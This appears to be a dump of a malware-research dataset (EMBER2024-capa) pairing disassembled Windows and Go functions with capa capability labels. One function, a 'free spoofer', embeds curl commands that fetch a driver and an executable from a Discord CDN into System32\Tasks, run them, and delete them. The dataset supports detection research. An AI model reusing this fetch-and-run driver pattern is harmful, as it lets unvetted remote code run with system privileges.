joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5ad960
Capabilities:
Encode data using xor

Disassembly:
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov r15, qword [rsp + 0x18]
mov r8, qword [rdi]
mov r9, qword [rdi + 8]
mov r10, qword [rdi + 0x10]
mov r11, qword [rdi + 0x18]
mov r12, qword [rdi + 0x20]
cmp r15, 0x10
jb 0x5ada27
add r8, qword [rsi]
adc r9, qword [rsi + 8]
adc r10, 1
lea rsi, [rsi + 0x10]
mov rax, r11
mul r8
mov rbx, rax
mov rcx, rdx
mov rax, r11
mul r9
add rcx, rax
adc rdx, 0
mov r13, r11
imul r13, r10
add r13, rdx
mov rax, r12
mul r8
add rcx, rax
adc rdx, 0
mov r8, rdx
mov r14, r12
imul r14, r10
mov rax, r12
mul r9
add r13, rax
adc r14, rdx
add r13, r8
adc r14, 0
mov r8, rbx
mov r9, rcx
mov r10, r13
and r10, 3
mov rbx, r13
and rbx, 0xfffffffffffffffc
add r8, rbx
adc r9, r14
adc r10, 0
shrd r13, r14, 2
shr r14, 2
add r8, r13
adc r9, r14
adc r10, 0
sub r15, 0x10
cmp r15, 0x10
jae 0x5ad98c
test r15, r15
je 0x5ada6a
mov rbx, 1
xor rcx, rcx
xor r13, r13
add rsi, r15
shld rcx, rbx, 8
shl rbx, 8
mov r13b, byte [rsi - 1]
xor rbx, r13
dec rsi
dec r15
jne 0x5ada3c
add r8, rbx
adc r9, rcx
adc r10, 0
mov r15, 0x10
jmp 0x5ad99b
mov qword [rdi], r8
mov qword [rdi + 8], r9
mov qword [rdi + 0x10], r10
ret
Function at 0x5aef20
Capabilities:
Encode data using xor

Disassembly:
xor r10, r10
xor r11, r11
xor r12, r12
cmp r9, 0xd
jne 0x5aefc7
mov r10, qword [rcx]
mov r11, qword [rcx + 5]
shr r11, 0x18
mov r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
cmp r9, 0x10
jb 0x5af06a
add r10, qword [rcx]
adc r11, qword [rcx + 8]
adc r12, 1
lea rcx, [rcx + 0x10]
sub r9, 0x10
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
jmp 0x5aefc7
cmp r9, 0
je 0x5af123
xor r13, r13
xor r14, r14
xor r15, r15
add rcx, r9
shld r14, r13, 8
shl r13, 8
mov r15b, byte [rcx - 1]
xor r13, r15
dec rcx
dec r9
jne 0x5af080
add r10, r13
adc r11, r14
adc r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
Function at 0x602820
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x6029bb
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rsp + 0x80], rax
xor ecx, ecx
jmp 0x602841
inc rcx
cmp rbx, rcx
jle 0x6029b1
movzx edx, byte [rax + rcx]
cmp dl, 0x80
jb 0x60283e
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], rax
call sym.net.SplitHostPort
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x48], rdi
mov rdx, qword [0x008e23c0]
test rsi, rsi
mov r8, qword [rsp + 0x88]
cmovne rbx, r8
mov r8, qword [rsp + 0x80]
cmovne rax, r8
mov r8, rax
mov rax, rdx
mov r9, rbx
mov rbx, r8
mov rcx, r9
mov edi, 1
call sym.vendor_golang.org_x_net_idna._Profile_.process
mov rdx, qword [rsp + 0x58]
test rdx, rdx
mov rdx, qword [rsp + 0x48]
mov esi, 0
cmovne rdx, rsi
mov r8, qword [rsp + 0x60]
mov r9d, 0
cmovne r8, r9
nop word [rax + rax]
test rcx, rcx
jne 0x6029a5
test rdx, rdx
je 0x60299a
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x68], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x00942a28]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x602969
xor eax, eax
lea rbx, [0x007424e0]
mov ecx, 1
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
lea r8, [0x006c930c]
mov r9d, 2
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x48]
call sym.runtime.concatstring4
jmp 0x602990
xor eax, eax
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x007424e8]
mov esi, 1
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x48]
call sym.runtime.concatstring3
xor ecx, ecx
xor edi, edi
add rsp, 0x70
pop rbp
ret
xor ecx, ecx
mov rdi, r9
add rsp, 0x70
pop rbp
ret
mov rax, r9
mov rbx, rsi
add rsp, 0x70
pop rbp
ret
xor ecx, ecx
xor edi, edi
add rsp, 0x70
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.vendor_golang.org_x_net_http_httpguts.PunycodeHostPort
Function at 0x640d00
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x640e02
push rbp
mov rbp, rsp
sub rsp, 0x68
mov qword [rsp + 0x78], rax
mov rcx, qword [rax + 0x28]
mov rbx, qword [rax + 0x30]
nop
mov rax, rcx
call sym.net_url.splitHostPort
test rdi, rdi
jne 0x640d53
mov rbx, qword [0x008ed4e0]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rdx]
mov rdi, qword [rdx + 8]
lea rax, [0x0067e5e0]
call sym.runtime.mapaccess1_faststr
mov rdi, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x78]
call sym.net_http.idnaASCIIFromURL
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
nop
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x00942a28]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x640dd5
xor eax, eax
lea rbx, [0x007424e0]
mov ecx, 1
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x50]
lea r8, [0x006c930c]
mov r9d, 2
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x48]
call sym.runtime.concatstring4
jmp 0x640dfc
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x007424e8]
mov esi, 1
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
call sym.runtime.concatstring3
add rsp, 0x68
pop rbp
ret
mov qword [rsp + 8], rax
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
jmp sym.net_http.canonicalAddr
Function at 0x140001000
Capabilities:
Delete file
Execute command
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
lea rcx, str.color_e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n_n____i___Welcome_to_skars_free_spoofer_v1.3
call fcn.140001160
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n____f1___Spoof_serials
call fcn.140001160
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n____f2___Check_serials
call fcn.140001160
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140001089
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x14000110f
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140001065
lea rcx, [0x140003344]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___i___Downloading_files...
call fcn.140001160
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182814985760542814_Spoofy.sys___output_C:WindowsSystem32Taskswoooof.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182815107810594816_spoofer_map.exe___output_C:WindowsSystem32Tasksmmmaaapp.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe_C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___i___Spoofed_
call fcn.140001160
lea rcx, str.C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
add rsp, 0x28
ret
lea rcx, [0x140003344]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n___i___Here_are_your_serials:_n
call fcn.140001160
lea rcx, str._n_n_____wmic_diskdrive_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_____wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001c78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cc2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cc4
xor al, al
add rsp, 0x28
ret

Function at 0x140a03210
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140a03397
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a03241
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a03227
add dl, dl
jne 0x140a0324e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a032ae
xor eax, eax
add dl, dl
jne 0x140a0325d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a03365
add dl, dl
jne 0x140a0326e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a0327b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a03288
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a03295
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a032a2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a03236
mov eax, 1
add dl, dl
jne 0x140a032be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a032cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a032b3
sub eax, ebx
mov ebx, 1
jne 0x140a03304
mov ecx, 1
add dl, dl
jne 0x140a032e6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a032f3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a032db
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a03236
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a03320
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a0332d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a03315
cmp eax, 0x7d00
jae 0x140a03353
cmp eax, 0x500
jb 0x140a0334e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a03236
cmp eax, 0x7f
ja 0x140a03356
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a03236
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a0338a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a03236
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004310
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r13d, r13d
cmp r8, 0x201
jae 0x1400043b0
jmp 0x14000439f
jae 0x140004470
cmp r8, 0x201
jae 0x1400043b0
lea r12, [rbp - 0x58]
mov esi, 0x200
mov r15, r8
jmp 0x140004408
sub r8, r13
sub rdi, r13
cmp rdi, r8
jae 0x1400043df
lea rcx, [rbp + 0x3c8]
mov rdx, r13
call fcn.14001c780
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r13d, 0xffffffff
cmovb r13, rbx
mov qword [rbp + 0x3d8], r13
mov rdi, rbx
mov r12, qword [rbp + 0x3e8]
mov rsi, r13
mov r15, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140004431
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400044d8
mov r8d, r14d
cmp r15, r8
jne 0x140004390
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400044fb
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14000439f
jmp 0x1400043b0
cmp rsi, r8
jb 0x140004515
lea rcx, [rbp + 0x3a8]
mov rdx, r12
call fcn.140006cf0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x1400044c1
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.140001610
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rbx, rbx
jne 0x1400044a9
jmp 0x1400044c1
lea rcx, [0x14001e7a3]
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14001d3c0
jmp 0x14000452a
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14001d7b0
ud2
Function at 0x140007710
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
movzx ebp, byte [rdx + 0x38]
xor ebx, ebx
cmp bpl, 1
setne dl
mov eax, 0
sbb eax, eax
mov rsi, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x140007740
test ecx, ecx
jne 0x140007790
movzx ebx, byte [rdi + 0x3a]
cmp al, 0xff
je 0x14000774c
test ecx, ecx
jne 0x140007790
mov rcx, rdi
call fcn.1400075f0
movzx eax, al
test bpl, bpl
jne 0x140007797
lea rdx, [rdi + 0x10]
xor ecx, ecx
cmp byte [rdi + 0x10], 6
cmove rdx, rcx
je case.0x140007783.2
movzx r8d, byte [rdx]
mov ecx, 6
lea r9, [0x140007908]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, qword [rdx + 0x10]
add rcx, 4
jmp case.0x140007783.2
xor eax, eax
test bpl, bpl
je 0x14000775c
xor ecx, ecx
add rax, rcx
movzx r10d, bl
lea rcx, [rax + r10]
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x1400078e9
mov r11, qword [rdi]
lea r8, [r11 + rcx]
cmp rdx, rcx
jne 0x1400077ca
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x140007849
movzx r9d, byte [rdi + 0x10]
add rax, r10
sub rax, rdx
inc rax
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x140007810
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je 0x14000782b
inc rax
dec rdi
cmp rax, 1
jne 0x1400077f0
jmp 0x140007849
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x14000782b
cmp ebx, 0x5c
je 0x14000782b
inc rax
dec rdi
cmp rax, 1
jne 0x140007810
jmp 0x140007849
neg rax
add rcx, rax
inc rcx
cmp rdx, rcx
jb 0x1400078f7
add r11, rcx
mov r10d, 1
mov r8, r11
sub rdx, rcx
je 0x140007873
mov al, 9
cmp rdx, 2
je 0x140007877
cmp rdx, 1
jne 0x140007887
cmp byte [r8], 0x2e
jne 0x140007887
xor eax, eax
cmp r9b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x140007887
mov al, 0xa
jmp 0x140007887
cmp byte [r8], 0x2e
jne 0x140007887
cmp byte [r8 + 1], 0x2e
sete al
xor al, 9
add r10, rdx
mov qword [rsi], r10
mov qword [rsi + 8], r8
mov qword [rsi + 0x10], rdx
mov byte [rsi + 0x18], al
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x140007783.2
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x140007783.2
mov ecx, 2
jmp case.0x140007783.2
lea r8, str.library_std_srcpath.rs
call fcn.14001d7a0
ud2
lea r8, str.library_std_srcpath.rs
call fcn.14001d7a0
ud2
Function at 0x14000bfc0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xd8
mov rdi, rdx
mov rsi, rcx
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x58], 0x103
mov qword [rsp + 0x60], 0
mov edx, 0xffffffff
cmp r9, rdx
cmovb rdx, r9
mov qword [rsp + 0x78], rcx
lea r9, [rsp + 0x80]
mov qword [rsp + 0x80], rax
test rcx, rcx
cmove r9, rcx
mov qword [rsp + 0x38], r9
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000c06b
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x58]
cmp eax, 0x103
je 0x14000c0a2
test eax, eax
js 0x14000c07c
mov rax, qword [rsp + 0x60]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000c095
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xd8
pop rdi
pop rsi
ret
mov byte [rsp + 0x54], 0
mov dword [rsp + 0x50], 0
lea rax, str.I_O_error:_operation_failed_to_complete_synchronously
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x78], 0
lea rax, [0x14001e500]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x68], rax
lea rax, [0x1400178c0]
mov qword [rsp + 0x70], rax
lea rax, [0x14001e948]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0xa8], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xa8]
call fcn.140006850
mov rcx, rax
call fcn.140002030
mov ecx, 7
int 0x29
ud2
Function at 0x14001a540
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001a5ba
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001a5b0
cmp r10, r11
jb 0x14001a653
cmp r10, rdx
ja 0x14001a667
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14001a5b2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001a590
jmp 0x14001a627
ja 0x14001a5ba
mov r11, r10
cmp rax, r8
jne 0x14001a562
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001a62b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001a600
mov r8, r10
sub ecx, r9d
jns 0x14001a61e
jmp 0x14001a62d
cmp r10, rdx
je 0x14001a639
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001a62d
xor al, 1
cmp r8, rdx
jne 0x14001a5e0
jmp 0x14001a62d
xor eax, eax
jmp 0x14001a62d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14001d3c0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001d7c0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001d7b0
ud2

Function at 0x14001c0a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001c0ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001c0ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001c0ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001c0ee
cmp dword [rcx + 0x84], 0xe
jbe 0x14001c0ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001c0f0
xor al, al
add rsp, 0x28
ret
Function at 0x14001857c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400183db
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400183db
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400183db
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400183db
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400183db
cmp dword [rcx + 0x84], 0xe
jbe 0x1400183db
cmp dword [rcx + 0xf8], 0
je 0x1400183db
mov ecx, ebx
call fcn.140018498
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140018268
nop
cmp dword [rbp + 0x20], 0
je 0x140018429
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140018434
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001836c

Function at 0x1400188bc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140025760
sub rsp, rax
mov rax, qword [0x140034860]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001b3b0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14001890b
mov rax, rbp
jmp 0x140018a13
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x35f50]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14001ba1c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x35f50]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140018a0f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
